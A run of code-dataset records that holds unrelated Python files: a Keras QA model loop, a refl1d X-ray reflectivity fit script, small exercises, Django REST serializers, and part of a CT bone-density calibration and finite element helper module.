arch_filepath = os.path.join(model_dir, os.path.basename(arch_filepath))\n weights_path = os.path.join(model_dir, os.path.basename(weights_path))\n\n index2char = dict((i, c) for (c, i) in six.iteritems(char2id))\n\n print('Restoring model architecture from {}'.format(arch_filepath))\n with open(arch_filepath, 'r') as f:\n model = model_from_json(f.read())\n\n print('Loading model weights from {}'.format(weights_path))\n model.load_weights(weights_path)\n\n print('Loading word embeddings')\n embeddings = WordEmbeddings.load_word_vectors(wordchar2vector_path, w2v_path)\n word_dims = embeddings.vector_size\n\n X1_probe = np.zeros((1, max_inputseq_len, word_dims), dtype=np.float32)\n X2_probe = np.zeros((1, max_inputseq_len, word_dims), dtype=np.float32)\n\n while True:\n premise = raw_input('Premise:> ').decode(sys.stdout.encoding).strip().lower()\n if len(premise) == 0:\n break\n\n question = raw_input('Question:> ').decode(sys.stdout.encoding).strip().lower()\n if len(question) == 0:\n break\n\n premise_words = pad_input_wordseq(tokenizer.tokenize(premise), max_inputseq_len)\n question_words = pad_input_wordseq(tokenizer.tokenize(question), max_inputseq_len)\n\n X1_probe.fill(0)\n X2_probe.fill(0)\n vectorize_words(premise_words, X1_probe, 0, embeddings)\n vectorize_words(question_words, X2_probe, 0, embeddings)\n\n y = model.predict([X1_probe, X2_probe])\n answer = decode_ystr(y[0], index2char)\n\n print(u'{}'.format(answer))\n","sub_path":"PyModels/qa_chargenerator_model.py","file_name":"qa_chargenerator_model.py","file_ext":"py","file_size_in_byte":26179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"593933175","text":"from refl1d.names import *\nfrom copy import copy\n\n# === Set file paprameters ===\nT = '20' # substrate deposition temperature\nt = '20' # deposition time / min \n\n# === Set fitting parameters ===\n# --- SLD ---\nrho_sapph , rho_sapph_img , d_rho_sapph = 34.46 , -0.388 , 2\nrho_inner , rho_inner_img , d_rho_inner = 44.165 , 3.208 , 20\nrho_inc , rho_inc_img , d_rho_inc = 62.495 , -3.268 , 10\n\nrho_Cr2O3 , rho_Cr2O3_img = 41.868 , -2.906\nrho_NiO , rho_NiO_img = 50.123 , -0.847 \nrho_Ni2O3 , rho_Ni2O3_img = 36.851 , -0.572 \nrho_oxide , rho_oxide_img , d_rho_oxide = rho_Ni2O3 , rho_Ni2O3_img , 30\n\nd_imag = 10\n\n# --- thickness ---\nthick_inner , d_thick_inner = 22 , 500\nthick_inc , d_thick_inc = 1767 , 200\nthick_oxide , d_thick_oxide = 30 , 70\n\n# --- interface (roughness) ---\nrough_sapph , d_rough_sapph = 10 , 9\nrough_inner , d_rough_inner = 10 , 9\nrough_inc , d_rough_inc = 10 , 9\nrough_oxide , d_rough_oxide = 10 , 9\n\n\n\n\n## === Data files ===\n# ---------- Neutron reflectivity -------------\n# probe = load4('600c_30min_pos.refl', back_reflectivity=False)\n# probe = Probe(T=numpy.linspace(0.32429, 9.7715, 251), L=5.0000)\n\n# ---------- x-ray reflectivity --------------\n# Slits computed from dT given in the staj file\nslits = 0.03\ninstrument = NCNR.XRay(dLoL=0.005, slits_at_Tlo=slits)\nfname = T + 'c_' + t + 'min_pos.refl'\nprobe = instrument.load( fname )\n\n# Background parameter\nprobe.background.value = 0.0000\n# probe.background.range(1e-9, 1e-5)\n\n## === Stack ===\n##\n## First, we create a 'material' for each layer, which has an real and imaginary\n## scattering length density, stored in a Refl1d object called 'SLD'\nmat_sapph = SLD(name='sapph', rho = rho_sapph, irho = rho_sapph_img )\nmat_inner = SLD(name='inner', rho = rho_inner, irho = rho_inner_img )\nmat_inc = SLD(name='inconel', rho = rho_inc, irho = rho_inc_img )\nmat_oxide = SLD(name='oxide', rho = rho_oxide , irho = rho_oxide_img )\nmat_air = SLD(name='air', rho=0.0000, irho=0.0000)\n\n## Then layers are created, each with its own 'material'. If you want to force\n## two layers to always match SLD you can use the same material in multiple layers.\n## The roughnesses of each layer are set to zero to begin with:\nlayer0 = Slab(material=mat_sapph, thickness=0.0000, interface = rough_sapph )\n# layer1 - inner layer between sapphire and inconel\nlayer1 = Slab(material=mat_inner, thickness=thick_inner, interface = rough_inner )\nlayer2 = Slab(material=mat_inc, thickness= thick_inc, interface = rough_inc )\nlayer3 = Slab(material=mat_oxide, thickness= thick_oxide, interface = rough_oxide )\nlayer4 = Slab(material=mat_air, thickness=0.0000, interface=0.0000)\n\nsample = Stack()\nsample.add(layer0)\nsample.add(layer1)\nsample.add(layer2)\nsample.add(layer3)\nsample.add(layer4)\n\n## can also be specified as:\n# sample = layer0 | layer1 | layer2 | layer3\n \n## === Constraints ===\n## thickness, interface (roughness) etc. are parameters and\n## can be constrained, e.g.\n# layer0.thickness = layer2.thickness\n## (to tie the first layer to have exactly the same thickness as the third layer)\n# layer1.interface = layer2.interface\n## (to make the roughness between layer1 and layer2 the same as between layer2 and layer3)\n# layer0.material = layer4.material\n## (make their sld properties match, real and imaginary)\n# sld0.rho = sld1.rho\n## (to force only the real rho to match for two materials)\n\n## === Fit parameters ===\n## \"range\" specifies a fitting range in terms of min/max value\n## \"pmp\" specifies fitting range in terms of +/- %\n## \"pm\" specifies fitting range in terms of +/- value\n\n## THETA OFFSET\n## this parameter accounts for theta misalignment\n## probe.theta_offset.range(-.01,.01)\n\n## INTENSITY\n# probe.intensity.range(0.95,1.05)\n\n## LAYER RHOs\nmat_sapph.rho.range( rho_sapph - d_rho_sapph , rho_sapph + d_rho_sapph )\nmat_inner.rho.range( rho_inner - d_rho_inner , rho_inner + d_rho_inner )\nmat_inc.rho.range( rho_inc - d_rho_inc , rho_inc + d_rho_inc )\nmat_oxide.rho.range( rho_oxide - d_rho_oxide , rho_oxide + d_rho_oxide )\n# mat_air.rho.range(-1.0000, 1.0000)\n\n## LAYER ABSORPTIONS (imaginary rho)\n#mat_sapph.irho.range( rho_sapph_img - d_imag , rho_sapph_img + d_imag )\nmat_inner.irho.range( rho_inner_img - d_imag, rho_inner_img + d_imag )\nmat_inc.irho.range( rho_inc_img - d_imag, rho_inc_img + d_imag )\nmat_oxide.irho.range( rho_oxide_img - d_imag , rho_oxide_img + d_imag )\n# mat_air.irho.range(-1.0000, 1.0000)\n\n## LAYER THICKNESSES\n# layer0.thickness.range(0.0000, 100.00)\nlayer1.thickness.range( thick_inner - thick_inner , thick_inner + d_thick_inner )\nlayer2.thickness.range( thick_inc - d_thick_inc , thick_inc + d_thick_inc )\nlayer3.thickness.range( thick_oxide - thick_oxide , thick_oxide + d_thick_oxide )\n# layer3.thickness.range(0.0000, 100.00)\n\n## LAYER ROUGHNESSES\n###################################################################\n## the 'interface' associated with layer0 is the boundary between #\n## layer0 and layer1, and similarly for layer(N) and layer(N+1) #\n###################################################################\nlayer0.interface.range( rough_sapph - d_rough_sapph , rough_sapph + d_rough_sapph )\nlayer1.interface.range( rough_inner - rough_inner , rough_inner + d_rough_inner )\nlayer2.interface.range( rough_inc - d_rough_inc , rough_inc + d_rough_inc )\nlayer3.interface.range( rough_oxide - d_rough_oxide , rough_oxide + d_rough_oxide )\n\n## === Problem definition ===\n## a model object consists of a sample and a probe,\n## zed is the step size in Angstroms to be used for rendering the profile\n## increase zed to speed up the calculation\nzed = 1 \n\n## step = True corresponds to a calculation of the reflectivity from an actual profile\n## with microslabbed interfaces. When step = False, the Nevot-Croce\n## approximation is used to account for roughness. This approximation speeds up\n## the calculation tremendously, and is reasonably accuarate as long as the\n## roughness is much less than the layer thickness\nstep = False\n\nmodel = Experiment(sample=sample, probe=probe, dz=zed, step_interfaces = step)\n## simultaneous fitting: if you define two models\n# models = model1, model2\n# problem = MultiFitProblem(models=models)\n\n# fitting a single model:\nproblem = FitProblem(model)\n\nproblem.name = T + 'c_' + t + 'min.refl'\n","sub_path":"xrr/oct-2019/output/fitting/data/20c-20min/20c_20min_pos_three_layer.py","file_name":"20c_20min_pos_three_layer.py","file_ext":"py","file_size_in_byte":6240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"9362445","text":"# -*- coding:utf-8 -*-\nclass Solution:\n def NumberOf1Between1AndN_Solution(self, n):\n # write code here\n num = str(n)\n k = len(num)\n\n for i in range(k):\n tmp = (10 ** (k - i - 1))\n if i == 0:\n count = min(n, 2 * tmp - 1) - tmp + 1\n else:\n b = int(num[:i])\n count = count + b * tmp\n\n the_min = min(int(num[i:]), 2 * tmp - 1)\n if the_min >= tmp:\n count = count + the_min - tmp + 1\n return count\n\n\ns = Solution()\ns.NumberOf1Between1AndN_Solution(55)\n","sub_path":"整数中1出现的次数.py","file_name":"整数中1出现的次数.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"581102587","text":"def squareroot(x):\n guess = x/2\n while abs(guess*guess-x) > 1e-6:\n guess = (guess + (x/guess))/2\n return guess\n\ndef stdev(vlist):\n total = 0\n iterator = 0\n b = 0\n print(len(vlist))\n while iterator < len(vlist):\n total += vlist[iterator]\n iterator += 1\n mean = total/(len(vlist)+1)\n print(mean)\n for num2 in vlist:\n a = (num2 - mean)**2\n b += a\n popstdev = squareroot(b//(len(vlist)+1))\n return popstdev\n\ndatalist = eval(input(\"Enter a list of numbers: \"))\ndlist = []\nfor value in datalist:\n dlist.append(value)\ntest= stdev(dlist)\nprint(test)\n","sub_path":"CSci 1133/stdev.py","file_name":"stdev.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"83842622","text":"import linecache\nimport sys\nimport numpy as np\nimport shutil\n\nargs = sys.argv\n\nFILENAME = args[1]\nt = args[2]\np = args[3]\nshutil.copyfile(args[1]+'_snap', args[1]+'_afterPA_snap')\nv = linecache.getline(FILENAME, 2)[:-1]\nlinecache.clearcache()\n\nsumofv = linecache.getline(FILENAME, 3)[:-1]\ntmp = []\ndegree = []\nprobability = []\nid = []\ndegree_id = [[0 for j in range(2)] for i in range(int(v))]\n\nwith open(FILENAME) as f:\n data = f.readlines()[5:int(v)+5]\nfor item in data:\n tmp.append(item[:-1])\ntmp.append(sumofv)\n\nfor i in range(len(tmp)-1):\n degree.append(int(tmp[int(i)+1]) - int(tmp[int(i)]))\nfor i in range(len(degree)):\n degree_id[i][0] = int(degree[i]) / int(sumofv)\n probability.append(degree_id[i][0])\n degree_id[i][1] = i\n id.append(i)\n\ndegree_id.sort(reverse = True)\n\n\nY = 5\ntmp = probability\nwith open(args[1]+'_afterPA_snap', 'a') as f:\n for i in range(int(t)):\n y = np.random.choice(a=[0,1],p=[p,1-float(p)])\n if(y == 0):\n v = int(v) + 1\n f.write(str(v))\n f.write('\\t')\n x = np.random.choice(id, size=Y-1, replace=False, p = probability)\n x = \"\\t\".join(map(str,x))\n f.write(x)\n f.write('\\n')\n elif(y == 1):\n x = np.random.choice(id, size=Y, replace=False, p = probability)\n x = \"\\t\".join(map(str,x))\n f.write(x)\n f.write('\\n')\n ","sub_path":"heya/pa.py","file_name":"pa.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"253973002","text":"from rest_framework.serializers import ModelSerializer,HyperlinkedIdentityField,SerializerMethodField\n\nfrom posts.models import Post \nfrom comments.models import Comment\nfrom comments.api.serializers import CommentListSerializer\nfrom accounts.api.serializers import UserDetailSerializer\nclass PostCreateSerializer(ModelSerializer):\n\tclass Meta:\n\t\tmodel=Post\n\t\tfields=[\n\t\t\t'title',\n\t\t\t'description',\n\t\t\t'content'\n\t\t]\t\nclass PostListSerializer(ModelSerializer):\n\turl=HyperlinkedIdentityField(\n\t\t\tview_name='posts-api:detail',\n\t\t\tlookup_field='slug'\n\t\t)\n\tuser=UserDetailSerializer(read_only=True)\n\tclass Meta:\n\t\tmodel=Post\n\t\tfields=[\n\t\t\t'url',\n\t\t\t'user',\n\t\t\t'title',\n\t\t\t'description',\n\t\t\t'content'\n\t\t]\n\nclass PostDetailSerializer(ModelSerializer):\n\timage=SerializerMethodField()\n\tcomments=SerializerMethodField()\n\tclass Meta:\n\t\tmodel=Post\n\t\tfields=[\n\t\t\t'title',\n\t\t\t'description',\n\t\t\t'content',\n\t\t\t'image',\n\t\t\t'comments'\n\t\t]\n\tdef get_comments(self,obj):\n\t\tcomments=Comment.objects.filter(post=obj)\n\t\tif comments.exists():\n\t\t\tcomments=CommentListSerializer(comments,many=True).data\n\t\telse:\n\t\t\tcomments=None\n\t\treturn comments\n\n\tdef get_image(self,obj):\n\t\ttry:\n\t\t\timage=obj.image.url\n\t\texcept:\n\t\t\timage = None\n\t\treturn image","sub_path":"posts/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"475850450","text":"#####\n# ogo_helper.py\n#\n# This script contains functions to be used in the Ogo Calibration and Finite Element\n# Analysis process\n#\n#####\n#\n# Andrew Michalski\n# University of Calgary\n# Biomedical Engineering Graduate Program\n# April 23, 2019\n# Modified to Py3: March 25, 2020\n\n# Updates by Chantal de Bakker - Feb-May, 2021:\n# - Modified internal calibration functions to use 3 reference tissues (bone, muscle, air) instead of the original 5 (bone, muscle, air, adipose, blood)\n# - Add function for dialog box to select file\n# - Add DICOM to NIFTI converter\n#####\n\n##\n# Import the modules for the functions\nimport os\nimport sys\nimport time\nimport datetime\nimport math\nimport pandas as pd\nimport numpy as np\nfrom scipy import stats\nimport scipy.interpolate as interp\nimport SimpleITK as sitk\nimport vtk\n# import vtkbone\nfrom vtk.util.numpy_support import vtk_to_numpy, numpy_to_vtk\nfrom collections import OrderedDict\nfrom PyQt5.QtWidgets import QApplication, QWidget, QInputDialog, QLineEdit, QFileDialog\nfrom PyQt5.QtGui import QIcon\nimport shutil\n\n\nstart_time = time.time()\n\n##\n# Functions for Ogo Calibration Scripts\ndef applyInternalCalibration(imageData, cali_parameters):\n \"\"\" Applies the internal calibration to the image.\n The first argument is the image.\n The second argument is a dictionary of the calibration parameters.\n Returns the calibrated image in mg/cc.\n \"\"\"\n ##\n # Some parameters to have from the inputs\n extent = imageData.GetExtent()\n origin = imageData.GetOrigin()\n spacing = imageData.GetSpacing()\n voxel_volume_mm = spacing[0] * spacing[1] * spacing[2] # [mm^3]\n voxel_volume_cm = voxel_volume_mm / 1000 # [cm^3]\n HU_MassAtten_Slope = cali_parameters['HU-u/p Slope']\n HU_MassAtten_Yint = cali_parameters['HU-u/p Y-Intercept']\n HU_Den_Slope = cali_parameters['HU-Material Density Slope']\n HU_Den_Yint = cali_parameters['HU-Material Density Y-Intercept']\n Triglyceride_Mass_Atten = cali_parameters['Triglyceride u/p']\n K2HPO4_Mass_Atten = cali_parameters['K2HPO4 u/p']\n\n ##\n # Create copies of the image data for Output density Images and convert to numpy arrays\n # Mass Attenuation Reference Image\n Mass_Atten_image = vtk.vtkImageData()\n Mass_Atten_image.SetExtent(extent)\n Mass_Atten_image.SetOrigin(origin)\n Mass_Atten_image.SetSpacing(spacing)\n Mass_Atten_image.AllocateScalars(vtk.VTK_FLOAT, 1)\n Mass_Atten_data = vtk2numpy(Mass_Atten_image)\n\n # Archimedean Density Reference Image\n Arch_den_image = vtk.vtkImageData()\n Arch_den_image.SetExtent(extent)\n Arch_den_image.SetOrigin(origin)\n Arch_den_image.SetSpacing(spacing)\n Arch_den_image.AllocateScalars(vtk.VTK_FLOAT, 1)\n Arch_den_data = vtk2numpy(Arch_den_image)\n\n # Mass Attenuation Reference Image\n Mass_image = vtk.vtkImageData()\n Mass_image.SetExtent(extent)\n Mass_image.SetOrigin(origin)\n Mass_image.SetSpacing(spacing)\n Mass_image.AllocateScalars(vtk.VTK_FLOAT, 1)\n Mass_data = vtk2numpy(Mass_image)\n\n # K2HPO4 Density\n K2HPO4_den_image = vtk.vtkImageData()\n K2HPO4_den_image.SetExtent(extent)\n K2HPO4_den_image.SetOrigin(origin)\n K2HPO4_den_image.SetSpacing(spacing)\n K2HPO4_den_image.AllocateScalars(vtk.VTK_FLOAT, 1)\n K2HPO4_den_data = vtk2numpy(K2HPO4_den_image)\n\n ##\n # Convert image to NumPy\n message(\"Converting image to NumPy...\")\n numpy_image = vtk2numpy(imageData)\n\n ##\n # Apply HU to Mass Attenuation Conversion\n message(\"Converting image to mass attenuation equivalent...\")\n Mass_Atten_data[:,:,:] = ((HU_MassAtten_Slope * numpy_image) + HU_MassAtten_Yint)\n\n # Apply HU to Archimedean Density Conversion\n message(\"Converting image to Archimedean density equivalent...\")\n Arch_den_data[:,:,:] = ((HU_Den_Slope * numpy_image) + HU_Den_Yint)\n\n # Convert Archimedean density to total mass equivalent\n message(\"Converting Archimedean density equivalent to Mass equivalent image...\")\n Mass_data[:,:,:] = Arch_den_data * voxel_volume_cm\n\n # Converting onverting to K2HPO4 Mass\n message(\"Converting to K2HPO4 Mass Image...\")\n K2HPO4_mass_seg_data = np.zeros_like(Mass_data, dtype = 'h')\n\n # Two component model to derive K2HPO4 mass image\n K2HPO4_mass_seg_data = (Mass_data *((Mass_Atten_data - Triglyceride_Mass_Atten) / (K2HPO4_Mass_Atten - Triglyceride_Mass_Atten)))\n\n\n # Converting mass images to density images\n message(\"Converting K2HPO4 mass images to K2HPO4 density images...\")\n K2HPO4_den_data = K2HPO4_mass_seg_data / voxel_volume_cm * 1000 # *1000 to convert g to mg\n\n # Convery Numpy images back to vtk Image\n scalars = K2HPO4_den_data.flatten(order='C')\n VTK_data = numpy_to_vtk(num_array=scalars, deep=True, array_type=vtk.VTK_FLOAT)\n K2HPO4_den_image.GetPointData().SetScalars(VTK_data)\n\n scalars2 = Arch_den_data.flatten(order='C')\n VTK_data2 = numpy_to_vtk(num_array=scalars2, deep=True, array_type=vtk.VTK_FLOAT)\n Arch_den_image.GetPointData().SetScalars(VTK_data2)\n\n return K2HPO4_den_image, Arch_den_image\n\ndef applyMask(imageData, maskData):\n \"\"\"Applies the mask to the image.\n The first argument is the image. The second argument is the mask.\n Returns the masked image as image Data.\n \"\"\"\n mask = vtk.vtkImageMask()\n mask.SetMaskedOutputValue(0)\n mask.SetImageInputData(imageData)\n mask.SetMaskInputData(maskData)\n mask.NotMaskOff()\n mask.Update()\n return mask.GetOutput()\n\ndef applyPhantomParameters(vtk_image, calibration_parameters):\n \"\"\"Uses image mathematics to apply image calibration.\n The first argument is the vtk Image Data.\n The second argument are the calibration parameters dictionary (slope, y-intercept).\n Returns vtk Image Data in FLOAT data type.\n \"\"\"\n\n cast = vtk.vtkImageCast()\n cast.SetInputData(vtk_image)\n cast.SetOutputScalarTypeToFloat()\n cast.Update()\n\n slope_image = vtk.vtkImageMathematics()\n slope_image.SetInputConnection(0, cast.GetOutputPort())\n slope_image.SetOperationToMultiplyByK()\n slope_image.SetConstantK(calibration_parameters['Calibration Slope'])\n slope_image.Update()\n\n\n calibrated_image = vtk.vtkImageMathematics()\n calibrated_image.SetInputConnection(0, slope_image.GetOutputPort())\n calibrated_image.SetOperationToAddConstant()\n calibrated_image.SetConstantC(calibration_parameters['Calibration Y-Intercept'])\n calibrated_image.Update()\n\n return calibrated_image.GetOutput()\n\ndef applyTestBase(mesh, material_table):\n \"\"\"Constructs to the FEM object.\n The first argument is the Image Mesh.\n The second argument is the material table.\n Returns the model output.\n \"\"\"\n generator = vtkbone.vtkboneFiniteElementModelGenerator()\n generator.SetInputData(0, mesh)\n generator.SetInputData(1, material_table)\n generator.Update()\n\n return generator.GetOutput()\n\ndef applyTransform(vtk_image, matrix):\n \"\"\"Applies the transform matrix to the image.\n The first argument is the vtk image data.\n The second argument is the 4x4 rotation matrix.\n Returns the transformed image.\n \"\"\"\n transform = vtk.vtkTransform()\n transform.SetMatrix(matrix)\n transform.Update()\n\n reslice = vtk.vtkImageReslice()\n reslice.SetInputData(vtk_image)\n reslice.SetInterpolationModeToCubic()\n reslice.SetResliceTransform(transform)\n reslice.AutoCropOutputOn()\n reslice.Update()\n\n return reslice.GetOutput()\n\ndef bmd_CHAToAsh(vtk_image):\n \"\"\"Converts CHA density to ash density using equation from:\n CHA density to ASH density relationship from Kaneko et al. 2004 J Biomech\n 'Mechanical properties, density and quantitative CT scan data of trabecular\n bone with and without metastases'\n The first argument is the density image.\n Returns the Ash Density Image.\n \"\"\"\n slope_image = vtk.vtkImageMathematics()\n slope_image.SetInputData(0, vtk_image)\n slope_image.SetOperationToMultiplyByK()\n slope_image.SetConstantK(0.839)\n slope_image.Update()\n\n calibrated_image = vtk.vtkImageMathematics()\n calibrated_image.SetInputConnection(0, slope_image.GetOutputPort())\n calibrated_image.SetOperationToAddConstant()\n calibrated_image.SetConstantC(69.8)\n calibrated_image.Update()\n return calibrated_image.GetOutput()\n\ndef bmd_K2hpo4ToAsh(vtk_image):\n \"\"\"Converts K2HPO4 density to ash density using equation from:\n K2HPO4 density to ASH density relationship from Keyak et al. J Biomed Mater Res\n 1994 \"Correlations between orthogonal mechanical properties and density of trabecular\n bone use of different densitometric measures.\n The first argument is the density image.\n Returns the Ash Density Image.\n \"\"\"\n slope_image = vtk.vtkImageMathematics()\n slope_image.SetInputData(0, vtk_image)\n slope_image.SetOperationToMultiplyByK()\n slope_image.SetConstantK(1.06)\n slope_image.Update()\n\n calibrated_image = vtk.vtkImageMathematics()\n calibrated_image.SetInputConnection(0, slope_image.GetOutputPort())\n calibrated_image.SetOperationToAddConstant()\n calibrated_image.SetConstantC(38.9)\n calibrated_image.Update()\n return calibrated_image.GetOutput()\n\ndef bmd_metrics(vtk_image):\n \"\"\"Computes the BMD metrics for the input vtk image. VTK image should be the isolated\n bone VOI (from applyMask). First, converts to numpy. Analysis performed in Numpy. The\n first argument is the vtk Image Data.\n Returns dictionary of results.\n \"\"\"\n spacing = vtk_image.GetSpacing()\n numpy_image = vtk2numpy(vtk_image)\n voxel_count = np.count_nonzero(numpy_image)\n voxel_volume = spacing[0] * spacing[1] * spacing[2] # [mm^3]\n voxel_volume2 = voxel_volume / 1000 # [cm^3]\n\n # BMD measures\n BMD_total = numpy_image.sum() # [mg/cc K2HPO4]\n BMD_AVG = BMD_total / voxel_count # [mg/cc K2HPO4]\n VOLUME_mm = voxel_count * voxel_volume\n VOLUME_cm = voxel_count * voxel_volume2 # [cm^3]\n BMC = BMD_AVG * VOLUME_cm # [mg HA]\n\n return {\n 'Integral BMD [mg/cc]':BMD_AVG,\n 'Integral BMC [mg]':BMC,\n 'Bone Volume [mm^3]':VOLUME_mm,\n 'Bone Volume [cm^3]':VOLUME_cm\n }\n\ndef bmd_preprocess(vtk_image, thresh_value):\n \"\"\"Preprocess the calibrated image to remove densities less than 0 mg/cc\n and replace the value with minimum equivalent E value of 0.1 MPa.\n The first argument is the vtk Image data of the calibrated image.\n Returns vtk Image data.\n \"\"\"\n threshold = vtk.vtkImageThreshold()\n threshold.SetInputData(vtk_image)\n threshold.ThresholdByLower(thresh_value)\n threshold.ReplaceInOn()\n threshold.SetInValue(thresh_value)\n threshold.ReplaceOutOff()\n threshold.Update()\n return threshold.GetOutput()\n\ndef cast2short(vtk_image):\n \"\"\"Cast image data to Short\"\"\"\n cast = vtk.vtkImageCast()\n cast.SetInputData(vtk_image)\n cast.SetOutputScalarTypeToShort()\n cast.Update()\n return cast.GetOutput()\n\ndef cast2unsignchar(vtk_image):\n \"\"\"Cast Image Data to Unsigned Char\"\"\"\n cast = vtk.vtkImageCast()\n cast.SetInputData(vtk_image)\n cast.SetOutputScalarTypeToUnsignedChar()\n cast.Update()\n return cast.GetOutput()\n\ndef changeInfo(vtk_image):\n \"\"\"Changes the origin of image to 0,0,0\"\"\"\n change = vtk.vtkImageChangeInformation()\n change.SetInputData(vtk_image)\n change.SetOutputOrigin(0,0,0)\n change.Update()\n return change.GetOutput()\n\ndef combineImageData_SF(image, fh_pmma_id_pad, gt_pmma_id_pad, pmma_mat_id):\n \"\"\"Combines the 3 image data together to get final image.\n The first argument is the original image data.\n The second argument is the femoral head PMMA cap image.\n The third argument is the greater trochanter PMMA cap image.\n Returns the combined image data.\n \"\"\"\n message(\"Padding the images to constant size...\")\n ##\n # Pad all images so that they are the same size\n fh_pad = vtk.vtkImageConstantPad()\n fh_pad.SetInputData(fh_pmma_id_pad)\n fh_pad.SetOutputWholeExtent(image.GetExtent())\n fh_pad.SetConstant(0)\n fh_pad.Update()\n\n gt_pad = vtk.vtkImageConstantPad()\n gt_pad.SetInputData(gt_pmma_id_pad)\n gt_pad.SetOutputWholeExtent(image.GetExtent())\n gt_pad.SetConstant(0)\n gt_pad.Update()\n\n message(\"Combining PMMA Caps with Image Data...\")\n fh_logic = vtk.vtkImageLogic()\n fh_logic.SetInput1Data(fh_pad.GetOutput())\n fh_logic.SetInput2Data(image)\n fh_logic.SetOperationToAnd()\n fh_logic.SetOutputTrueValue(pmma_mat_id)\n fh_logic.Update()\n\n fh_math = vtk.vtkImageMathematics()\n fh_math.SetInput1Data(fh_pad.GetOutput())\n fh_math.SetInput2Data(fh_logic.GetOutput())\n fh_math.SetOperationToSubtract()\n fh_math.Update()\n\n combo_image = vtk.vtkImageMathematics()\n combo_image.SetInput1Data(fh_math.GetOutput())\n combo_image.SetInput2Data(image)\n combo_image.SetOperationToAdd()\n combo_image.Update()\n\n gt_logic = vtk.vtkImageLogic()\n gt_logic.SetInput1Data(gt_pad.GetOutput())\n gt_logic.SetInput2Data(image)\n gt_logic.SetOperationToAnd()\n gt_logic.SetOutputTrueValue(pmma_mat_id)\n gt_logic.Update()\n\n gt_math = vtk.vtkImageMathematics()\n gt_math.SetInput1Data(gt_pad.GetOutput())\n gt_math.SetInput2Data(gt_logic.GetOutput())\n gt_math.SetOperationToSubtract()\n gt_math.Update()\n\n combo_image2 = vtk.vtkImageMathematics()\n combo_image2.SetInput1Data(gt_math.GetOutput())\n combo_image2.SetInput2Data(combo_image.GetOutput())\n combo_image2.SetOperationToAdd()\n combo_image2.Update()\n\n message(\"PMMA caps added.\")\n message(\"Creating final image...\")\n # Remove any negative values...\n final_thres = vtk.vtkImageThreshold()\n final_thres.SetInputData(combo_image2.GetOutput())\n final_thres.ThresholdByLower(0)\n final_thres.ReplaceInOn()\n final_thres.SetInValue(0)\n final_thres.ReplaceOutOff()\n final_thres.Update()\n final_image = final_thres.GetOutput()\n\n return final_image\n\ndef combineImageData_SLS(image, fh_pmma_id_pad, pmma_mat_id):\n \"\"\"Combines the 2 image data together to get final image.\n The first argument is the original image data.\n The second argument is the femoral head PMMA cap image.\n The third argument is the greater trochanter PMMA cap image.\n Returns the combined image data.\n \"\"\"\n message(\"Padding the images to constant size...\")\n ##\n # Pad all images so that they are the same size\n fh_pad = vtk.vtkImageConstantPad()\n fh_pad.SetInputData(fh_pmma_id_pad)\n fh_pad.SetOutputWholeExtent(image.GetExtent())\n fh_pad.SetConstant(0)\n fh_pad.Update()\n\n message(\"Combining PMMA Caps with Image Data...\")\n fh_logic = vtk.vtkImageLogic()\n fh_logic.SetInput1Data(fh_pad.GetOutput())\n fh_logic.SetInput2Data(image)\n fh_logic.SetOperationToAnd()\n fh_logic.SetOutputTrueValue(pmma_mat_id)\n fh_logic.Update()\n\n fh_math = vtk.vtkImageMathematics()\n fh_math.SetInput1Data(fh_pad.GetOutput())\n fh_math.SetInput2Data(fh_logic.GetOutput())\n fh_math.SetOperationToSubtract()\n fh_math.Update()\n\n combo_image = vtk.vtkImageMathematics()\n combo_image.SetInput1Data(fh_math.GetOutput())\n combo_image.SetInput2Data(image)\n combo_image.SetOperationToAdd()\n combo_image.Update()\n\n message(\"PMMA caps added.\")\n message(\"Creating final image...\")\n # Remove any negative values...\n final_thres = vtk.vtkImageThreshold()\n final_thres.SetInputData(combo_image.GetOutput())\n final_thres.ThresholdByLower(0)\n final_thres.ReplaceInOn()\n final_thres.SetInValue(0)\n final_thres.ReplaceOutOff()\n final_thres.Update()\n final_image = final_thres.GetOutput()\n\n return final_image\n\ndef combineImageData_VC(image, sup_pmma_id_pad, inf_pmma_id_pad, pmma_mat_id):\n \"\"\"Combines the 3 image data together to get final image.\n The first argument is the original image data.\n The second argument is the superior PMMA cap image.\n The third argument is the inferior PMMA cap image.\n Returns the combined image data.\n \"\"\"\n message(\"Padding the images to constant size...\")\n ##\n # Pad all images so that they are the same size\n sup_pad = vtk.vtkImageConstantPad()\n sup_pad.SetInputData(sup_pmma_id_pad)\n sup_pad.SetOutputWholeExtent(image.GetExtent())\n sup_pad.SetConstant(0)\n sup_pad.Update()\n\n inf_pad = vtk.vtkImageConstantPad()\n inf_pad.SetInputData(inf_pmma_id_pad)\n inf_pad.SetOutputWholeExtent(image.GetExtent())\n inf_pad.SetConstant(0)\n inf_pad.Update()\n\n message(\"Combining PMMA Caps with Image Data...\")\n sup_logic = vtk.vtkImageLogic()\n sup_logic.SetInput1Data(sup_pad.GetOutput())\n sup_logic.SetInput2Data(image)\n sup_logic.SetOperationToAnd()\n sup_logic.SetOutputTrueValue(pmma_mat_id)\n sup_logic.Update()\n\n sup_math = vtk.vtkImageMathematics()\n sup_math.SetInput1Data(sup_pad.GetOutput())\n sup_math.SetInput2Data(sup_logic.GetOutput())\n sup_math.SetOperationToSubtract()\n sup_math.Update()\n\n combo_image = vtk.vtkImageMathematics()\n combo_image.SetInput1Data(sup_math.GetOutput())\n combo_image.SetInput2Data(image)\n combo_image.SetOperationToAdd()\n combo_image.Update()\n\n inf_logic = vtk.vtkImageLogic()\n inf_logic.SetInput1Data(inf_pad.GetOutput())\n inf_logic.SetInput2Data(image)\n inf_logic.SetOperationToAnd()\n inf_logic.SetOutputTrueValue(pmma_mat_id)\n inf_logic.Update()\n\n inf_math = vtk.vtkImageMathematics()\n inf_math.SetInput1Data(inf_pad.GetOutput())\n 